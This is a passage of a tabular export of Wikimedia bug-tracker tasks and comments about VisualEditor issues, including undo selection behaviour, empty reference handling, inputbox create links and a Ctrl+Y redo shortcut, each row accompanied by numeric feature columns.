**Severity**: normal",Medium,50.0,1375008900,1394503778.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3wvoqjxuqinfi7bgkax4,task_description,resolved,True,c1,3,False,False,False,3,,1.0,0.0,0.0,1.0,1.0,3.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,3.5,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,14.5,0.0,1.0,6.0,0.0,0.0,0.0,0.0,5.5,0.0,2.5,0.0,1.0,4.0,6.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,3.4461538461538463,0.6153846153846154,"**Author:** CODE

**Description:**
Steps to reproduce:

1. Goto URL
2. Position the cursor at the start of the page directly before the bold ""T"".
3. Hit Backspace (to delete infobox)
4. Hit Ctrl+Z (undo)
5. Hit Backspace again
6. Hit Ctrl+Z again
Repeat as long as you want

Actual result:

On each Ctrl+Z a paragraph more is selected

Expected result:

Selection stays the same, undo should undo the action and not change the selection

--------------------------
**Version**: unspecified
**Severity**: normal"
244255,VisualEditor: Selection expanded on undoing a deletion to cover the whole paragraph,This was fixed in gerrit 115759 as part of fixing bug 57552.,,,1394503778,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3wvoqjxuqinfi7bgkax4,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.769230769230769,1.0,This was fixed in gerrit 115759 as part of fixing bug 57552.
244252,VisualEditor: Selection expanded on undoing a deletion to cover the whole paragraph,"**jonathan_haas** wrote:

Deleting infoboxes with a simple backspace has been disabled, but this is still somewhat reproducible, if you select an area (for example the infobox _and_ the bold T) in step 2.

In short: The problem is more hidden, but the underlying issue has not been fixed.",,,1382445971,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3wvoqjxuqinfi7bgkax4,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,3.0,2.0,9.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,2.0,5.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,3.7384615384615385,0.7692307692307693,"**jonathan_haas** wrote:

Deleting infoboxes with a simple backspace has been disabled, but this is still somewhat reproducible, if you select an area (for example the infobox _and_ the bold T) in step 2.

In short: The problem is more hidden, but the underlying issue has not been fixed."
244248,VisualEditor: Selection expanded on undoing a deletion to cover the whole paragraph,Reproduced.,,,1375050421,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3wvoqjxuqinfi7bgkax4,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,Reproduced.
54182,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference","Removing the content from out of a <ref> .. </ref> should prompt the user that they need to delete the reference.  Perhaps a tooltip, or this might be an opportunity to use a hover trick to give the user something to click to acknowledge they intended to delete the ref.

It shouldnt be possible to save with an empty ref, as that is an error condition.

https://en.wikipedia.org/w/index.php?title=User:John_Vandenberg/test&diff=566133128&oldid=566132993

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50609",Medium,50.0,1375008300,1405038215.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-tgtxd532icx4mnfll75r,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.5,0.0,0.0,0.0,4.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,7.5,0.5,4.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,3.5,0.0,1.0,0.5,0.0,0.0,11.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,7.0,2.5,7.5,0.0,0.5,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,7.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,4.0,0.0,0.5,0.0,0.0,2.5,3.537037037037037,0.6666666666666666,"Removing the content from out of a <ref> .. </ref> should prompt the user that they need to delete the reference.  Perhaps a tooltip, or this might be an opportunity to use a hover trick to give the user something to click to acknowledge they intended to delete the ref.

It shouldnt be possible to save with an empty ref, as that is an error condition.

URL

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
244161,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference","Yes, sorry, this was great. Thanks!",,,1405038215,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9,"Yes, sorry, this was great. Thanks!"
244156,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference",Ping. Anyone want to answer my question?,,,1405038076,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,53,,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,1.0,Ping. Anyone want to answer my question?
244150,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference","So Gerrit change 136496 fixed the existing intended behaviour, but didn't go as far as this bug suggests (it just disables the apply button rather than deleting the reference) - should it be changed to delete the reference still?",,,1401808848,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,48,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,7.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,5.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,5.0,7.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.340909090909091,0.8636363636363636,"So Gerrit change 136496 fixed the existing intended behaviour, but didn't go as far as this bug suggests (it just disables the apply button rather than deleting the reference) - should it be changed to delete the reference still?"
244143,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference",*** Bug 62399 has been marked as a duplicate of this bug. ***,,,1401479536,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 62399 has been marked as a duplicate of this bug. ***
244135,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference",See Gerrit change 81438 and Gerrit change 88618,,,1401476178,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.75,See Gerrit change 81438 and Gerrit change 88618
244126,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference",length < 4 is a hack and we probably shouldn't be using it…,,,1401476091,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,3.1333333333333333,1.0,length < 4 is a hack and we probably shouldn't be using it…
244115,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference","According to ve.ui.MWReferenceDialog.prototype.onDocumentTransact, this apply button is supposed to be disabled when the length is less than 4. But when I empty the box, the length is 10 so nothing is done.

Anyway, I think we should either:
* Fix that bug (if it is one) and mark this bug as invalid (or repurposed for fixing it), or
* Replace that with this idea",,,1401475699,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,4.0,0.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,9.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,8.0,10.0,4.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,6.0,9.0,1.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,1.0,0.0,0.0,3.8,0.6875,"According to ve.ui.MWReferenceDialog.prototype.onDocumentTransact, this apply button is supposed to be disabled when the length is less than 4. But when I empty the box, the length is 10 so nothing is done.

Anyway, I think we should either:
* Fix that bug (if it is one) and mark this bug as invalid (or repurposed for fixing it), or
* Replace that with this idea"
54162,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","If VisualEditor is default, why after clicking on a red link there's 'action=edit' in url and the source editor runs instead of 'veaction' and VE? I've checked it out on the enwiki and plwiki, but it concerns the rest of phase 2 as well and creating a new page in general. Furthermore, it makes inputboxes ('type=create') incompatible with VE and it can be a bothering problem on some wikis.

**See Also**: {T55441}",Medium,50.0,1374969780,,PHID-USER-gf5juv3z3p75bykrcrhf,False,,False,PHID-TASK-ra3d7l6sbywnzslhiccu,task_description,open,True,c1,3,False,False,,3,,1.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,5.0,7.0,0.0,0.0,1.0,1.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,9.0,2.0,6.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,6.0,11.0,5.0,1.0,6.0,0.0,6.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,3.45,0.72,"If VisualEditor is default, why after clicking on a red link there's 'action=edit' in url and the source editor runs instead of 'veaction' and VE? I've checked it out on the enwiki and plwiki, but it concerns the rest of phase 2 as well and creating a new page in general. Furthermore, it makes inputboxes ('type=create') incompatible with VE and it can be a bothering problem on some wikis.

**See Also**: {T55441}"
1283806,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","This should become feasible after we implement {T223793}. We can probably use a similar mechanism to intercept the targets of inputboxes.

Also, note that a `useve=true` inputbox parameter has been implemented in the meantime: {T89341}.",,,1558261962,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,True,,,306,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,13.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,11.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.8666666666666667,"This should become feasible after we implement {T223793}. We can probably use a similar mechanism to intercept the targets of inputboxes.

Also, note that a CODE inputbox parameter has been implemented in the meantime: {T89341}."
719578,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor",">>! In T54162#2590097, @Elitre wrote:
> Did SET work affect this...?

Not yet; it will need further work.",,,1472505814,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,True,,,165,,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.9230769230769231,"QUOTE
QUOTE

Not yet; it will need further work."
719013,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor",Did SET work affect this...?,,,1472457462,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,False,,,165,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,Did SET work affect this...?
242938,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","I don't want to make inputbox suddenly magically different. It's about ordinary users (especially the new sort 'born' after VE deployment) who want to type a new article's name, click on button and voila, start creating their article in VE. In 2 steps, after 1 click, without experience like 'why the markups? oh, I'm switching to VE'. They'd be more likely to give up in this case.

Technically, you may change the default 'action' with 'veaction' or create a new parameter or sth else, it's up to you.",,,1412440471,,PHID-USER-gf5juv3z3p75bykrcrhf,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,0.5,3.5,1.0,0.0,0.0,0.0,2.0,8.5,0.0,0.0,0.0,1.5,0.0,4.5,11.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,3.0,0.0,1.5,0.0,1.5,0.0,0.0,1.5,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,1.0,6.0,1.0,2.0,4.5,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,5.5,11.5,2.5,1.0,6.0,0.0,5.5,0.0,1.5,1.5,0.0,1.5,1.0,0.0,0.0,3.5338983050847457,0.7627118644067796,"I don't want to make inputbox suddenly magically different. It's about ordinary users (especially the new sort 'born' after VE deployment) who want to type a new article's name, click on button and voila, start creating their article in VE. In 2 steps, after 1 click, without experience like 'why the markups? oh, I'm switching to VE'. They'd be more likely to give up in this case.

Technically, you may change the default 'action' with 'veaction' or create a new parameter or sth else, it's up to you."
242930,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","You can easily point InputBox to VE with a simple hook so that VE can change 'action' to 'veaction'. But that won't make VE magically support all the additional parameters which InputBox uses (e.g. preload, editintro, summary, minor, etc.)",,,1396642309,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,True,,,39,,2.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,13.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,10.0,13.0,0.0,8.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,3.8653846153846154,0.75,"You can easily point InputBox to VE with a simple hook so that VE can change 'action' to 'veaction'. But that won't make VE magically support all the additional parameters which InputBox uses (e.g. preload, editintro, summary, minor, etc.)"
242923,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","Ah, I see a process problem with type=fulltext too

inputbox goes to search results, and search results show a red link, which the user would click on to start a new page. e.g.

https://en.wikipedia.org/wiki/Special:Search/this_article_doesnt_exist

I believe that some enhancement will be needed in the InputBox extension to support creating VE or SE articles.
https://www.mediawiki.org/wiki/Extension:InputBox",,,1375056651,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,False,,,4,,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,6.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,12.0,2.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,5.0,11.0,8.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.830769230769231,0.7846153846153846,"Ah, I see a process problem with type=fulltext too

inputbox goes to search results, and search results show a red link, which the user would click on to start a new page. e.g.

URL

I believe that some enhancement will be needed in the InputBox extension to support creating VE or SE articles.
URL"
242916,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","In the plwiki, we have no important inputbox with 'type=create' in the main nor user namespace, but there are inputboxes in help or project pages which create a new article (for ex. [[pl:Pomoc:Tworzenie nowych haseł#Niniejsza strona]]), and after clicking the button there is 'action=edit&preload=' in url.

Second, whenever we click on a red link in an article (the main), 'action=edit&redlink=1' displays. The default tab is 'Create source', not 'Create'. It's quite surprising for me and for the newbies, I believe.",,,1375053920,,PHID-USER-gf5juv3z3p75bykrcrhf,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,7.5,0.0,0.0,1.0,3.0,0.0,3.5,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,6.0,2.0,6.5,1.0,3.0,7.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,4.5,7.0,2.5,0.0,7.5,0.0,4.5,0.0,1.5,2.0,1.0,0.5,0.0,0.0,1.5,3.6065573770491803,0.7540983606557377,"In the plwiki, we have no important inputbox with 'type=create' in the main nor user namespace, but there are inputboxes in help or project pages which create a new article (for ex. [[pl:Pomoc:Tworzenie nowych haseł#Niniejsza strona]]), and after clicking the button there is 'action=edit&preload=' in url.

Second, whenever we click on a red link in an article (the main), 'action=edit&redlink=1' displays. The default tab is 'Create source', not 'Create'. It's quite surprising for me and for the newbies, I believe."
242909,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor",Could you provide a example of a 'type=create' problem affecting VE?  Is it used on main or user namespace in your wiki?,,,1375052410,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,10.0,3.0,7.0,7.0,0.0,10.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.413793103448276,0.896551724137931,Could you provide a example of a 'type=create' problem affecting VE?  Is it used on main or user namespace in your wiki?
54140,VisualEditor: Add CTRL+Y as a second shortcut for redo,"An editor on en.wp has requested that Ctrl+Y should initiate the redo action. Presently the shortcut is ctrl+shift+z.

In my experience both shortcuts are used in about 50% of applications (Xubuntu Linux) so it would be ideal if both shortcuts could be used.

--------------------------
**Version**: unspecified
